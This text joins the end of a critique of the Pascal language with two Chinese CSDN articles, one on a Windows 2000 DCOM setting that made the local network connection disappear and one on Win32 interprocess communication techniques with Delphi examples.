time to time, particularly subscript range violations.

Turning to the negative side, recompiling a large program from scratch to
change a single line of source is extremely tiresome; separate compilation,
with or without type checking, is mandatory for large programs.

I derived little benefit from the fact that characters are part of Pascal and
not part of For tran, because the Pascal treatment of strings and non-graphics
is so inadequate.  In both lan guages, it is appallingly clumsy to initialize
literal strings for tables of keywords, error messages, and the like.

The finished programs are in general about the same number of source lines as
their Ratfor equivalents.  At first this surprised me, since my preconception
was that Pascal is a wordier and less expressive language.  The real reason
seems to be that Pascal permits arbitrary expressions in places like loop
limits and subscripts where Fortran (that is, portable Fortran 66) does not,
so some useless assignments can be eliminated; furthermore, the Ratfor
programs declare functions while Pascal ones do not.

To close, let me summarize the main points in the case against Pascal.

1.  Since the size of an array is part of its type, it is not possible to
write general-purpose rou tines, that is, to deal with arrays of different
sizes.  In particular, string handling is very dif ficult.

2.  The lack of static variables, initialization and a way to communicate
non-hierarchically combine to destroy the ``locality'' of a program --
variables require much more scope than they ought to.

3.  The one-pass nature of the language forces procedures and functions to be
presented in an unnatural order; the enforced separation of various
declarations scatters program compo nents that logically belong together.

4.  The lack of separate compilation impedes the development of large programs
and makes the use of libraries impossible.

5.  The order of logical expression evaluation cannot be controlled, which
leads to convoluted code and extraneous variables.

6.  The case statement is emasculated because there is no default clause.

7.  The standard I/O is defective.  There is no sensible provision for dealing
with files or pro gram arguments as part of the standard language, and no
extension mechanism.

8.  The language lacks most of the tools needed for assembling large programs,
most notably file inclusion.

9.  There is no escape.

This last point is perhaps the most important.  The language is inadequate but
circum scribed, because there is no way to escape its limitations.  There are
no casts to disable the type checking when necessary.  There is no way to
replace the defective run-time environment with a sensible one, unless one
controls the compiler that defines the ``standard procedures.''  The lan guage
is closed.

People who use Pascal for serious programming fall into a fatal trap.  Because
the language is so impotent, it must be extended.  But each group extends
Pascal in its own direction, to make it look like whatever language they
really want.  Extensions for separate compilation, Fortran like COMMON, string
data types, internal static variables, initialization, octal numbers, bit
opera tors, etc., all add to the utility of the language for one group, but
destroy its portability to others.

I feel that it is a mistake to use Pascal for anything much beyond its
original target.  In its pure form, Pascal is a toy language, suitable for
teaching but not for real programming.

Acknowledgments

I am grateful to Al Aho, Al Feuer, Narain Gehani, Bob Martin, Doug McIlroy,
Rob Pike, Dennis Ritchie, Chris Van Wyk and Charles Wetherell for helpful
criticisms of earlier versions of this paper.

1.  Feuer, A. R. and N. H. Gehani, ``A Comparison of the Programming Languages
C and Pascal -- Part I: Language Concepts,'' Bell Labs internal memorandum
(September 1979).

2.  N. H. Gehani and A. R. Feuer, ``A Comparison of the Programming Languages
C and Pascal -- Part II: Program Properties and Programming Domains,'' Bell
Labs internal memorandum (February 1980).

3.  P. Mateti, ``Pascal versus C: A Subjective Comparison,'' Language Design
and Programming Methodology Symposium, Springer-Verlag, Sydney, Australia
(September 1979).

4.  A.  Springer, ``A Comparison of Language C and Pascal,'' IBM Technical
Report G320-2128, Cam bridge Scientific Center (August 1979).

5.  B. W. Kernighan and P. J. Plauger, Software Tools, Addison-Wesley,
Reading, Mass. (1976).

6.  K. Jensen, Pascal User Manual and Report, Springer-Verlag (1978).  (2nd
edition.)

7.  David V.  Moffat, ``A Categorized Pascal Bibliography,'' SIGPLAN Notices
15(10), pp. 63-75 (October 1980).

8.  A.  N.  Habermann, ``Critical Comments on the Programming Language
Pascal,'' Acta Informatica 3, pp. 47-57 (1973).

9.  O. Lecarme and P. Desjardins, ``More Comments on the Programming Language
Pascal,'' Acta Infor matica 4, pp. 231-243 (1975).

10.  H. J. Boom and E. DeJong, ``A Critical Comparison of Several Programming
Language Implementa tions,'' Software Practice and Experience 10(6),
pp. 435-473 (June 1980).

11.  N. Wirth, ``An Assessment of the Programming Language Pascal,'' IEEE
Transactions on Software Engi neering SE-1(2), pp. 192-198 (June, 1975).

12.  O. Lecarme and P. Desjardins, ibid, p. 239.

13.  A. M. Addyman, ``A Draft Proposal for Pascal,'' SIGPLAN Notices 15(4),
pp. 1-66 (April 1980).

14.  J. Welsh, W. J. Sneeringer, and C. A. R. Hoare, ``Ambiguities and
Insecurities in Pascal,'' Software Prac tice and Experience 7, pp. 685-696
(1977).

15.  N. Wirth, ibid., p. 196.

16.  J. D. Gannon and J. J. Horning, ``Language Design for Programming
Reliability,'' IEEE Trans. Software Engineering SE-1(2), pp. 179-191 (June
1975).

17.  J. D. Ichbiah, et al, ``Rationale for the Design of the Ada Programming
Language,'' SIGPLAN Notices 14(6) (June 1979).

18.  J. Welsh, W. J. Sneeringer, and C. A. R. Hoare, ibid.

19.  B. W. Kernighan and P. J. Plauger, Software Tools in Pascal,
Addison-Wesley (1981).


CSDN_文档中心_win2000用户，你的“本地连接”会突然不见了吗？

win2000用户，你的“本地连接”会突然不见了吗？

我是一名软件开发者，前两天一套erp软件投使用，需要测试，就在我的手提上做应用服务器吧。当时效果很好，第二天顺手打开Delphi,F9,突然冒出来一个“interface not supported"。吓我一身冷汗，连本机上都启动不了服务器，我编的东西还有用吗？

急急忙忙的找原因。发现：“网上邻居”属性里，居然丢了“本地连接”。是不是这个原因？目标：出现“本地连接”。

一阵瞎捣腾，删除网卡无数次，重装网卡无数次，启动无数次。结果：失败！那个可爱的图标就是不出来。难道要我重装系统？

上csdn，查找“本地连接”，居然还真有人问了这个问题。“微软专家”回答得很清楚！http://www.csdn.net/expert/topic/428/428876.xml
http://support.microsoft.com/support/kb/articles/q254/6/31.asp
是这个问题详细解答。

回想一下，原来昨天为了用户连接服务器简单，免得配置DCom麻烦，用DComcnfg.exe修改DCom配置，修改了“默认属性”中的“默认模拟级别”为“匿名”，结果导致了“本地连接”的丢失。

动作：马上修改“默认属性”中的“默认模拟级别”为“标志”。结果：成功！

当然Delphhi程序也顺利启动！

总结：
1.如果三层结构中使用了DCom协议，客户端无故抱错：“interface not supported",马上看“本地连接”在不在，不在，修改Dcom配置。
2.在遇到难题时，应该想到网络和CSDN。你应该佩服“微软专家”，他们的回答言简意赅！


CSDN_文档中心_Win32 行程通讯的观念与技术

Win32 行程通讯的观念与技术
    窗子提供的永远只是局部的风景。身为窗子的制造者以及使用者的我们不可能不明白这个道理；对於窗子的使用者日益挑剔的品味，窗子的制造者所能提供的不仅止於窗子的大小，往往是窗子的数量。的确，探出窗去看得将更多一些，外头天空地宽朗朗白日，别的窗子也许正有我们想要的风景。

    这篇文章谈的是 Interprocess Communication (IPC)，我将与你分享跨行程通讯的各项技术与资料交换的方法。

    为什麽需要 IPC?
    为什麽需要 Inter-process Communication？

    显而易见的，没有一个视窗应用程式可以包办全部的工作。为了避免资料重覆输入的时间浪费与人为错误，各应用程式间的资料会有互相交换的需求。首先的压力将来自於使用者，甚至於很可能是你自己。先不说别的，在写这篇文章时，我就曾剪贴原来以 Delphi 撰写的程式到文书编辑软体，同时，也利用抓图软体帮我拍下执行画面，最後，这些文章与范例程式得用压缩程式压起来，然後E-mail寄给杂志编辑。

    使用 IPC 在某些情况下是不得不然的决定，有时候程式必须跨过机器边界让另一部机器内的程式明白该怎麽合作来共同完成工作，这同时也暗示我们可能面临不同的作业系统的问题。

    此外，IPC有助於系统的安全与稳定。由於Win32各个行程彼此独立的特性，一个行程死掉了，其他的行程还可以继续跑下去，对於某些稳定性要求很高的系统而言, 值得以额外的负担(Overhead)交换系统的强固性(robustness)。嗯! 我的意思是说，因为系统对稳定性的需求要求较高，值得拆开来做甚至额外的备援系统，既然工作拆成两个以上，此时必然需要IPC。

    关於IPC，一般人可能会对其有「执行效率缓慢」的印象，这当然不能说是错误的，但绝不是公平的评语。这麽说吧：一个主管亲自去做一件事，往往会比先说明再授权下属去做来得快，这是单一工作时的情况；然而如果管理者同时有好几件事在手上，托付别人去做才能使得整个公司的效能提高。换句话说，如果能善用 IPC，整体的系统效能不仅不会下降，反而可能因为充分利用整个运算群的能力而有提升。

    我们的第一个 IPC 例子
    每个图形介面的视窗应用程式都接受并处理讯息(Message)，因此，使用讯息伫列通知其他的行程是脑中很自然会浮现的第一个想法；换句话说，两行程间彼此互相以 SendMessage() 或 PostMessage() 传送讯息通知对方。

    即然要互送讯息，就需要一个彼此都认得的讯息编号。於是，除了 Windows 标准的讯息编号之外，我们还需要额外定义一个(一些)讯息。

    行程通讯间用来约定讯息编号常用的方法是呼叫RegisterWindowMessage() API函数。这个函数只有一个字串型别的引数，Windows系统会检查我们传入的讯息名称并传回一个安全不重覆的讯息编号，假如传入的讯息名称早已经登记有案，则系统传回的是稍早传给那个行程的相同编号。

    换句话说，两支程式只要彼此都用相同的讯息名称呼叫RegisterWindowMessage() 注册讯息，系统便会都给两者一个相同的自订讯息编号。

    接下来要送出讯息了，可是，要送给谁呢？嗯，我在这 使用的方法是：第一次先用广播的，每一个视窗程式都会收到通知，讯息的短叁数(wParam)中写明发讯视窗的 Handle 值，如果是同志，它自然明白这个讯息代表了什麽，并且也使用SendMessage() 回送约定的讯息表示收到。同样的，讯息的短叁数注明自己的Handle。於是，茫茫人海的小俩口终於得知对方的下落，以後就不再需要公开寻人可以透过Handle值直接与对方联络了。

    除了讯息编号，讯息的wParam，lParam长短叁数也可以用来进一步约定通讯的细节。事情进展得似乎十分顺利，现在我们知道合作对象，也确信它明白我们的讯息代表什麽。虽然简单，但是这种暗通款曲的方式是系统默许的。不过，我们还需要再多解决一个问题。

    由於SendMessage 只有 wParam，lParam 两个 DWORD 型别的长短叁数，携带的资料量十分有限。很显然的，我们需要能够一次传送更多资料的方法。Windows 也的确提供了许多交换资料的机制，我在这篇文章中将会一一说明，其中最简便的方法是使用 WM_COPYDATA 讯息，作法如下

    将资料内容指定到COPYDATASTRUCT这个资料结构中。
必须使用SendMessage()送出 WM_COPYDATA讯息，讯息的短叁数是发讯端视窗的Handle值，长叁数的内容则是指向COPYDATASTRUCT的指标。
受讯端行程收到讯息时，以长叁数提供的线索依址取回资料。
小俩口书信往返时系统是居中牵线的红娘。就在发讯视窗送出WM_COPYDATA讯息,受讯视窗取得内容之间，系统在背後默默接管记忆体管理的琐事。有关WM_COPYDATA的使用有一点需要提醒读者的，收讯端应该视这块记忆体是唯读的，如果後来程式处理需要这些资料，应该要先将之拷贝出来。

    多亏有了这项特殊的性质，使得WM_COPYDATA与讯息沟通模型成为 Win32 平台上少数同时支援 16-bit与32-bit应用程式的IPC机制。你可以在WM_COPYDATA目录找到范例程式TwinApp的完整原始程式。

    IPC基本概念的讨论
    总结来说，上述的例子是两个行程彼此利用RegisterWindowMessage()注册所得的编号对送讯息，并且利用讯息的长短叁数进一步协定通讯的内容与细节，对於资料量比较大的资料则使用WM_COPYDATA。

    眼尖的读者在检视TwinApp时也许会察觉到一些DDE的影子。当然，比起DDE来说，TwinApp范例程式的讯息沟通模型实在阳春，缺点也不少。不过我的用意本来就不在於一开始就写一个大型程式出来吓唬人；相反的，我打算提供一个简单的例子，并且从这个例子支解出有关行程通讯的几个重要的观念与特性，这些特性并不是TwinApp所独有的，对於其他IPC机制的讨论也有相同的价值，等我们扣紧了对IPC的感觉，再陆续讨论其他 Win32 平台所支援的IPC机制。

    话说内行的看门道，外行的看热闹。或许我算不得顶尖高手，但至少应该比看热闹的多看出一些东西来吧! :p 观察TwinApp这个例子 --

    行程之间彼此有共同的通讯协定
    通讯的仅限於单机，稍候讨论的IPC有些则是可以跨过机器边界甚至网域.
    Process在行程通讯中的角色扮演
    一般来说，叁与IPC的行程可以归类成Client与Server两类，所谓的Server指的是提供服务的行程；Client指的是使用或向Server要求服务的行程。

    真实的世界中，人的角色扮演是随情境而变的。我们会是别人的子女，但也同时是别人的爸妈; 即使同样是夫妻，居家生活与外出场合的行为表现也有差异。界定某一程式是Client与Server的角色端视当时的情况而定并非绝对的。举例来说，文书处理软体可能向试算表要求库存统计资料，此时试算表扮演的是Server的角色，但在试算表向库存管理系统索取统计资料的场合，试算表则是Client。

    以我们的第一个例子TwinApp来说，彼此既接收讯息，同时也主动发出讯息。既可以是Client也可以是Server，没有明显的主从之别，对於这样的情况，有一个专有名词叫「对等模式」(Peer-to-peer model) 。

    同步与非同步的讨论
    TwinApp使用SendMessage()送出讯息，程式会暂停在SendMessage()那行等待讯息处理结束返回後再继续下一列程式，这样的情况属於同步处理。同步(Synchronous)与非同步(Asynchronous)在IPC中是一个非常重要的论题，有必要先对这两个名词先做说明:

    假设程序A呼叫程序B时，若是A先暂停一直等到程序B结束返回後再继续程序A的下一动作，我们称其为同步(Synchronous)；另一种情况是 -- 如果A呼叫B之後，不等B执行完，就直接进行A的下一动作，则是所谓的不同步。

    以提款机为例，我们会先插入卡片，输入密码，键入金额，然後是内部安全与帐务查核，最後收回卡片及金额，列印交易明细，一动接一动按步就班；同样是提款这件事，某位老板可以交待会计小姐去提款，交待完之後他就迳自去忙别的事，等到会计小姐提款回来，再向老板回报，这样的程序是所谓的非同步。

    如果进一步观察提款这个例子：会计小姐什麽时候出门什麽时候回来是算不得准的，假定这位老板除了会计小姐之外，另外还交办旁人其他工作，可以预见的，不一定那一件工作会先做完。由於执行的次序无法预估，采用非同步方式设计的行程通讯将会多出许多协调与事件处理的工作，使得彼此之间总互相期待点什麽。

    叁与通讯的行程个数，讯息资料的流向
在TwinApp中，简单的只有两个端点。但在实际应用的场合，Server通常得同时应付好几个Client的要求，如何妥善照顾到每一个Client同时要兼顾系统执行的效能，是门很大的学问。

    当行程对行程搭起通讯的鹊挢时，这座挢是单行道或者是双向通行，同样也值得列入评估要素。不过有一点需要注意的: 不论选择单工或双工的IPC机制，并不构成我们建立双向沟通无可跨越的天堑，话说山不转路转，盖两座单向的挢一样可以有双向通行的效果，不过就先天本质的特性来说，某些IPC机制确实比较容易作出双工的效果，当然也有天生大嘴巴适合用来广播的，例如本文稍後叙述的MailSlot。

    资料的可视性与安全性交换的资料在行程之间当然必须是可见的，TwinApp是用WM_COPYDATA交出资料。IPC有些技术是可以让行程共同存取资料的，稍候我们在 Shared memory 时将有讨论.

    是否需要有视窗或者纯Console Application也能应用.TwinAPP是以SendMesasage()送出讯息，这表示需要有视窗才行得通。如果你设计的是纯Console Mode 的应用程式，那麽，选用不需要视窗Handle也行得通的IPC机制(例如pipe)会比较适合。

    关於执行效能的讨论许多人耽心IPC的执行效能，的确，先不说别的，光是启动另一个Process本身就比启动一个Thread 的Overhead要高上很多。如果涉及协调的问题，建立一个Mutex的时间也比Critical section慢上不知多少倍。遗憾的是我们却也别无选择，因为Critical section在Multi-Thread中固然简单好用，但是不能用在跨越行程边界的场合。但是要说 IPC 一定使得系统效能降低，未免也太过悲观了；平视与俯看的视野是不同的。这年头大家都将Client/Server挂在嘴边，充分运用合理分配整个公司的运算资源才能提高整体的效能，我想 IPC 在这 自有其应用的价值与效益。

    另外一个导致IPC执行效率不彰的元凶来自不良的设计，着名的例子是所谓的Busy-loop 一个什麽也不做只有一行程式不断地期待的回圈。以稍早的老板与会计小姐为例，如果老板交办事情之後却将全部的事都停下来，来回踱步只为专心等着会计小姐回来，时间没有花在刀口上的结果当然效率不彰。找出效率的瓶颈设法调校是件长期奋战的工作，如同管理是持续不断的合理化。

    此处还有一个迷思也有待澄清，同步与非同步对於执行效能的影响是视情况而定的，并不能说非同步一定会比同步快，抽样样本很小或资料量偏小时，同步往往比非同步快。比较公允的说法应该是：同时有好几件工作要处理时，整体来说「非同步」往往快一些。以刚才的提款的事情为例，老板亲自去提款未必比小姐慢，但是如果老板同时有好几件工作要处理时，非同步的好处就很明显了。

    Win32支援的IPC相关技术上述的讨论与其说是针对TwinApp的观察，不如说是针对IPC的综合讨论。观念的说明之後是技术层次的讨论。接下来陆续介绍的是Win32 API支援的各项IPC机制 --

Clipboard
COM
Dynamic Data Exchange (DDE)
File Mapping
Mailslots
Pipes
RPC
Windows Sockets
WM_COPYDATA
剪贴簿(Clipboard)
人，其实是最佳的 IPC 机制，十分的聪明也十分的有弹性。

    剪贴簿几乎是专为人类而设的标准资料交换中心。它最大的特色除了使用者导向之外，任何应用程式都允许改写其内容，同时它是可以跨越机器边界，交换的范围不仅限於单机内的各个行程。

    由於它是纯使用者导向，使用剪贴簿的程式有一项传统是值得遵守的：如果不是基於使用者的操作，程式不应该主动去异动剪贴簿的内容；同样的道理，我们也不应该假设剪贴簿中有我们程式想要的资料，哪怕是不久前才刚放进去的，因为，使用者可能已经清除或改变其内容了。

    剪贴簿几乎可以容纳任何的资料，除了标准支援的CF_TEXT、CF_BITMAP...等资料格式，我们可以自行注册登记其他格式的资料。但由於它的使用者导向，也由於任何程式都可以改写其内容，除非使用者愿意，不然坦白来说不太适合行程间的资料交换。这也使得应用设计IPC时，剪贴簿成为每支应用程式都标准支援但却也都适可而止的IPC机制。我们应该再多看看其他的资料交换方法。

    File Mapping在早期MS-DOS时代还没有现在这麽多 IPC机制可供利用时，使用磁碟档案来交换资料可说是一般应用程式的唯一选择。时至今日，档案不仅没有从IPC领域中消失，反而是更加发扬光大了，然而观念上早已不纯粹界定在档案系统的实体档案。的确，资料位於何处的份际如今是越来越模糊了，虚拟的记忆体实际上是档案，虚拟的档案结果是记忆体。

    Win32 API 中有一个好玩的东西叫做File-mapping；基本的观念是开启一个档案并将之对映到某一块记忆体，有趣的是，虽然程式是针对这块记忆体操作，实际上改变的却是档案。
更好玩的是你不必真的在硬碟 开一个实体档案，而是使用分页置换档(paging file)的一块空间权充当作档案。这个虚拟的档案空间(或者你要说是记忆体)可以为行程间共享，通常我们管它一个特别的名字叫 Share-memory，共享记忆体。

    由於它的确不是真正的档案，行程间不仅省去特定磁碟目录档案等约定，也毋须在意谁是最後走的要负责删除档案，当然啦，即使当机不会留下一些垃圾档案。彼此分享的是正好是同一块记忆体，资料一旦写入，这项改变也立即反应到别的行程。

    使用ShareMemory的大致步骤如下所述

    呼叫CreateFileMapping() API函数建立File-mapping核心物件. CreateFileMapping()函数的第一个引数原本应该是CreateFile()开档所得的档案物件Handle，若是传入$FFFFFFFF则是以分页置换档(paging file)的一部划作共享记忆体。函数的最後一个引数是这块区域的叁考名称，行程间彼此将根据此一相同的识别名称叁考同一块共享记忆体。

FHandle := CreateFileMapping(
    $FFFFFFFF, // Shared memory File，Handle 传入 $FFFFFFFF
    nil, // 不设安全属性
    PAGE_READWRITE, // 存取模式设定为可读写以便行程交换资料
    0, // 使用 paging file 时一般将之设为零
    Size, // 共享记忆体的大小
    pchar(name)); // 其他的行程将以此名称叁考到这块共享记忆体

    由於各个行程各有其逻辑定址空间，在正式存取这块共享记忆体之前，我们得将其全部或部分映射回行程本身的位址空间中。呼叫MapViewOfFile()的用意即是在此，该函数将传回mapped view 「视野」的起头(就是指标啦)，接下来的就是用这个指标存取记忆体了。
FFileView := MapViewOfFile(
    Fhandle, // File-mapping object 的 Handle 值
    FILE_MAP_ALL_ACCESS, // 设为 FILE_MAP_ALL_ACCESS 开放存取
    0, // 模式以便顺利存取共享记忆体
    0,
    Size); // 预备映射回来的 byte 数

    最後，别忘了使用UnmapViewOfFile()归还指标并呼叫CloseHandle()释放File-mapping核心物件。 碍於篇辐，完整的程式码请读者叁阅ShareMem目录的 DemoSMem专案。另外，为了方便使用，这些CreateFileMapping(),MapViewOfFile()等函数已经包装进TSharedMem这个类别。

    Mutex Shared memory的示范专案DemoSMem留下诸多悬疑待解，或许你也正有相同的疑问：既然两个行程都利用这块记忆体，那我们怎麽知道什麽时候资料改变了？此外，如何防止行程同时读写资料？

    的确，行程通讯既是两个以上的个体，协调是必然存在的负担，要避免两个行程同时使用关键资源，Mutex(互斥器)的使用是你必备的技术。

    从字面上解释，互斥意思是同一时间唯一；换句话说，同一时间最多只许握有Mutex的执行绪(Thread)有权使用关键资源，其他的执行绪若要使用只有等待。嗯! 在Mutex与Event这两节我将暂时改口为执行绪，事实上这才是真正的CPU排程单位，由於每个行程至少有个Thread(主执行绪)，这样的称呼应该是与本文行程通讯的主旨不相违背的。

    就像是注册讯息，共享记忆体一样(甚至稍後的Event，MailSlot，Pipe都是)，在我们取得核心物件的Handle前，都是以「名称」叁考的，产生一个Mutex的API函数是:CreateMutex(), 以下范例采自本文所附的ChienIPC程式单元

constructor TMutex.Create(const name: string);
begin
    FHandle := CreateMutex(
    Nil, // 安全防护属性, 暂时传入nil采用预设值
    False, // 执行绪是否一开始就握有 mutex 的所有权
    pchar(name)); // Mutex核心物件的名称
    if FHandle = 0 then Abort;
end;

    好极了，现在我们有了一个Mutex，该怎麽使用呢? 我用一个情节来说明：如果一群人在一起开会，每个人桌子前面各摆着一支麦克风，为了让大家听清楚彼此说什麽，这些麦克风暂时都是关的，规定只有主席可以透过中央控制系统开启回路。要说话的得先举手表示：「我要我要」，如果没有别人举手也没人正在发言，主席便打开开关将发言权交给他，然後这个人的手放下开始讲话。此时若是其他人也要讲话，根据规则得先举手，在别人讲完交出发言权前只有继续举手等待的份。当然，排队的人，可以选择手一直举着；或者他只打算等三分钟，手酸了就放下来。

    执行绪要求拥有Mutex的方法是呼叫WaitForSingleObject()(我要我要，举手等待)，此时程式将暂停(Blocking)在这列。倘若此时正好没有别的执行绪拥有Mutex (没人讲话)，系统会短暂的将Mutex设为Signaled(激发状态)，使得WaitForSingleObject()正常返回，同时，系统也会将这个Mutex的所有权交给这个执行绪，然後程式继续执行，握有Mutex所有权者开始使用关键资源，并尽快在事後以ReleaseMutex()交出Mutex拥有权。

    关於程式实入这部分请您叁阅DemoSMem范例程式的读取与写入程式，同样的，有关Mutex的API函数也已包装进TMutex类别方便你的使用。

    Event
    讨论过行程之间以Mutex协调避让的技术之後，Shared memory的示范专案DemoSMem尚留下一个悬疑待解：既然两个行程都利用这块记忆体，那我们怎麽知道什麽时候资料被改变了呢? 以一个回圈定期不断去抓资料回来比对不仅程式写起来累人，执行效率也很低落。

    当然，回到一开始提出的方法，写入资料的行程用讯息一一个别通知其他合作夥伴是可以行得通，不过，事情该有更好的解决之道才是。Win32的核心物件中有一种叫Event(事件)物件，方便我们在某一事件发生时设定其状态以便叁与通讯的行程注意到某一件重要事情的发生。

    产生一个Event物件的方法是呼叫CreateEvent() API函数:

HANDLE CreateEvent(
    LPSECURITY_ATTRIBUTES lpEventAttributes,
    BOOL bManualReset, // flag for manual-reset event
    BOOL bInitialState,// flag for initial state
    LPCTSTR lpName // address of event-object name
);

     同样的，最後一个引数是执行绪在取得Event Handle前叁考同一Event物件的识别名称，如果相同名称的Event物件稍早已经产生而且叁用次数尚未归零消灭，并不会多产生一个Event物件，系统只单纯的将其叁用次数加一，执行绪彼此得以叁考到同一个物件。第三个引数用来设定Event物件的初值是否为Signaled(激发状态) 。第二个引数用来设定事件的激发状态是手动或自动；所谓手动与自动的分别在於事件的状态变成Signaled(激发状态)时，要由系统自动帮我们重设回非激发状态，或者由程式自行以ResetEvent()将事件设成非激发状态。

     观察DemoSMem的作法是这样的：当某一个行程修改了Shared memory的内容时，该行程以SetEvent() API 函数将Event物件的状态设为Signaled(激发状态)，叁与行程通讯的各支程式在开跑之初，除了以相同的识别名称建立(叁用)Event物件之外，还特别分派另一个Thread专司侦测特定Event物件激发状态的任务,一旦物件激发了，表示一定某一个行程修改了Shared memory的资料，此时我们知道该是重新读取资料内容的时候了。

    呼! 终於将Shared memory的范例程式DemoSMem讲完了，下图是它执行的画面，彼此看来是亳无关联，但是经由共同分享的记忆体与Mutex，Event两种同步协调技术，彼此正在密切交换意见。

图: DemoSMem执行情形

    MailSlot
    执行DemoSMem时如果让你有广播的感觉，接下来要说的MailSlot会让你更有广播的感觉，而且它是可以跨越机器边界向网路广播的。从字面上看来，这像是与寄信有关的通讯机制，实际上它的行为也的确与其名称相符合。MailSlot就像是你的信箱，只要知道地址，任何人都可以寄信给你，不过，只有你才可以打开信箱读信。

    MailSlot是一种由系统维护的虚拟档案，建立并拥有Mailslot的行程扮演Server.的角色，其他的行程包含MailSlot Server本身的行程均可以开启MailSlot写入讯息，不过，只有MailSlot Server可以读取资料的内容。这是个单一Server多个Client的机制，同时，资料只允许由Client对Server单向传送。

    我想你可能也习惯了，要产生一个MailSlot物件大概也需要一个识别名称吧! :p 说不定连CreateMailSlot()函数名称都猜得一字不差。不过，这次的名称可不像先前那样可以随便高兴取什麽就取什麽的，它具有以下的固定格式:

\\ServerName\mailslot\[path]name

    我第一次看到时心想: 天哪! 这该怎麽填呀? 边举例边说明会比较容易懂

    \\.\mailslot\MyMailSlotName MailSlot的识别名称一定从「\\」双倒斜线开始。接下来的是机器的名称或组群网域的名称，这 的「.」句号代表的是行程所在的那部机器。再来是「\mailslot」，对於MailSlot，一定是这个单字照抄就是了。最後则是你自订的MailSlot名字。先前提到MailSlot实际上是特殊的虚拟档案，所以，要当它是档名应该也是说得通的。

    的确，援引我们对於档案系统的概念，MailSlot的识别名称就像路径档名一样，可以经过适当的阶层加分类管理，例如: \\.\mailslot\Account\Note。最後再看一个例子: \\*\mailslot\MyMailSlotName，其中「*」指的是群组内的所有机器。

    说得够多了，让我们动手做做看吧! 首先是建立MailSlot Server的例子，取自本文所附的ChienIPC这个程式单元

procedure TMailSlotServer.Open;
var
    ASlotName: AnsiString;
begin
    if FActive then Exit;
    // 构成 Mailslot 识别名称
    ASlotName := '\\' + FServerName + '\mailslot\' + FSlotName;
    FHandle := CreateMailslot(
        pchar(ASlotName), // MailSlot 识别名称
        0, // 讯息长度的最大值，设为零表示不限
        MAILSLOT_WAIT_FOREVER, // read time-out
        nil); // 安全属性，先暂时采用预设值
    if FHandle = INVALID_HANDLE_VALUE then
        FActive := False
    else
    begin
        FActive := True;
        FWaitThread.Resume;
    end;
end;

   再强调一次，只有MailSlolt Server才可以读取资料，读取的方法是先以GetMailslotInfo()侦测讯息的长度与数量，然後以回圈逐一配置记忆体并以ReadFile()读出资料(别忘了MailSlot也是档案)，以下是一则范例:

procedure TMailSlotServer.ReadFromMailSlot;
var
    NextSize: DWORD;
    MessageCount: DWORD;
    Result: BOOL;
    Buffer: pchar;
begin
    if FHandle = INVALID_HANDLE_VALUE then Exit;
    // 侦测 MailSlot 中是否有资料
    Result := GetMailslotInfo(Fhandle, nil,
        NextSize, @MessageCount, nil);
    if not Result or (NextSize = MAILSLOT_NO_MESSAGE) then
        Exit;
    // 如果还有资料 (MessageCount <> 0)，逐一读出资料
    while Result and (MessageCount <> 0) do
    begin
        // 资料的长度
        Buffer := AllocMem(NextSize + 1);
        try
            // 读出资料
            FileRead(Fhandle, Buffer^, NextSize);
            if Assigned(FOnDataAvailable) then
            FOnDataAvailable(Self, StrPas(Buffer));
        finally
            FreeMem(Buffer, NextSize + 1);
        end;
        // 继续看看 MailSlot 中还有没有资料
        Result := GetMailslotInfo(Fhandle, nil,
        NextSize, @MessageCount, nil);
    end;
end;

    至於MailSlot的Client程式则没有什麽好说的，就当是档案迳行开启与写入即可：

procedure TMailSlotClient.Open;
var
    ASlotName: string;
begin
    if FActive then Exit;
    // MailSlot 的识别名称
    ASlotName := '\\' + FServerName + '\mailslot\' + FSlotName;
    // 开启 MailSlot(档案)
    FHandle := CreateFile(pchar(ASlotName),
        GENERIC_WRITE, // Client 端对於 MailSlot 只能写入
        FILE_SHARE_READ, // 设定为可供分享读取
        Nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    FActive := FHandle <> INVALID_HANDLE_VALUE;
end;

function TMailSlotClient.WriteIntoMailSlot(
    const Data: string): integer;
begin
    Result := 0;
    if FHandle = INVALID_HANDLE_VALUE then Exit;
    Result := FileWrite(Fhandle, Data[1], Length(Data));
end;

    稍早提到MailSlot适合於跨越机器边界的网路广播, 可是我也说明了只有MailSlot Server才可以读取资料，那要怎麽广播啊？答案在於MailSlot的名称。别的机器如果也用相同的名称建立MailSlot Server，一旦任一个Client对某一个MailSlot(也是经由名称来叁考)送出讯息，这份讯息会游向网路节点上各个指定同名的MailSlot，这样子就达成广播的效果。至於讯息是怎麽流来流去的，就留给系统与网路底层去伤脑筋了，程式只管以档案写入资料的方式送出资料即可。

    使用MailSlot时很可能你会遇到讯息重覆的问题；也就是说，虽然MailSlot Client端只写了一个讯息，但相同的讯息MailSlot Server却可能收到两份。原因是这样的：由於Win32多重通讯协定的缘故，MailSlot在广播时，并不知道到底该采用哪一条路径，於是便各种可能的通路都传了一份。情况有点像在发布台风警报，我们在电视，广播与网路都同时会晓得有台风要来的消息。解决的方法是在资料开头处加上一些控制用的编号代码，Server据以判断是否是相同的资料。

    像MailSlot这样的通讯机制可以应用在哪些场合呢? 着名的例子是WinPopup，刚才我也写了一支阳春的, 次图是MyWinpop.exe 执行的情况。由於MailSlot广播的特性，十分适合网管时用来知会使用者重要的讯息，此外，MIS系统也可以用它适时的报告异常状况，各使用者如果在「开始┃启动」中都放置这支小程式，彼此便可以之交换讯息，当讯号进来时，也会立即显示讯息的内容。

图: MyWinPop.exe执行情形

    当然，你还可以想得到其他的应用。像我就觉得它很适合用来作为程式除错工具，不仅可以将程式执行的过程与情况记录下来，而且程式在网路上各节点的执行状况也将源源而来，这是一般的测试方法所不容易达成的效果。

    Pipe
    看过广播式的 MailSlot後，Pipe则是点对点的通讯机制，资料允许单向或双向於管子连接的两端移动。pipe可分为Anonymous pipe与Named pipe 两种，Anonymous pipe的资料只能单向流动，而且仅限於单机内使用，但却是行程重导其标准输出(Standard Output)成为另一行程之标准输入的方法；Named pipe 就如同先前讨论的各项IPC机制，由於有一个识别名称，其他的行程很容易可以依照名称找过来，通讯范围不限於单机，同时，资料允许双向流通。

    DDE
    如同本文第一个TwinApp这个例子，DDE也是建立在讯息通讯这个基础上的，不过它的协定内容显然严谨很多。

